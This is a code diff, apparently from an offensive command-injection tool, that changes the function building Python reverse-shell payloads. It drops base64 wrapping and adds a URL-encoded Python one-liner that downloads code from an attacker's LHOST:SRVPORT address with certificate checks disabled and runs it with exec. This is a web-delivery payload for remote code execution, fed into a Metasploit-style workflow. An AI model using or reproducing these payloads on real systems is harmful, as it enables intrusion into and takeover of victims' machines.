@@ -446,7 +446,7 @@ def other_reverse_shells(separator):
446446 with open (output , "r" ) as content_file :
447447 data = content_file .readlines ()
448448 data = '' .join (data )
449- data = base64 .b64encode (data .encode (settings .UNICODE_ENCODING )).decode ()
449+ # data = base64.b64encode(data.encode(settings.UNICODE_ENCODING)).decode()
450450
451451 print (settings .SINGLE_WHITESPACE )
452452 # Remove the ouput file.
@@ -460,9 +460,9 @@ def other_reverse_shells(separator):
460460
461461 if settings .TARGET_OS == "win" and not settings .USER_DEFINED_PYTHON_DIR :
462462 set_python_working_dir ()
463- other_shell = settings .WIN_PYTHON_DIR + " -c exec(' " + data + "'.decode('base64'))"
463+ other_shell = settings .WIN_PYTHON_DIR + " -c " + data
464464 else :
465- other_shell = settings .LINUX_PYTHON_INTERPRETER + " -c \" exec(' " + data + "'.decode('base64')) \" "
465+ other_shell = settings .LINUX_PYTHON_INTERPRETER + " -c " + " \" " + data + "\" "
466466 msf_launch_msg (output )
467467 except :
468468 print (settings .SINGLE_WHITESPACE )
@@ -632,13 +632,12 @@ def other_reverse_shells(separator):
632632 "exploit\n \n " )
633633
634634 if web_delivery == '1' :
635- data = "; r=_urllib.request.urlopen('http://" + str (settings .LHOST ) + ":" + str (settings .SRVPORT ) + settings .URIPATH + "'); exec(r.read());"
636- data = base64 .b64encode (data .encode (settings .UNICODE_ENCODING )).decode ()
635+ data = "import sys%3bimport ssl%3bu%3d__import__('urllib'%2b{2%3a'',3%3a'.request'}[sys.version_info[0]],fromlist%3d('urlopen',))%3br%3du.urlopen('http://" + str (settings .LHOST ) + ":" + str (settings .SRVPORT ) + settings .URIPATH + "',context%3dssl._create_unverified_context())%3bexec(r.read())%3b"
637636 if settings .TARGET_OS == "win" and not settings .USER_DEFINED_PYTHON_DIR :
638637 set_python_working_dir ()
639- other_shell = settings .WIN_PYTHON_DIR + " -c exec(' " + data + "'.decode('base64'))"
638+ other_shell = settings .WIN_PYTHON_DIR + " -c " + data
640639 else :
641- other_shell = settings .LINUX_PYTHON_INTERPRETER + " -c \" exec(' " + data + "'.decode('base64')) \" "
640+ other_shell = settings .LINUX_PYTHON_INTERPRETER + " -c " + " \" " + data + "\" "
642641 msf_launch_msg (output )
643642 break
644643 elif web_delivery == '2' :
0 commit comments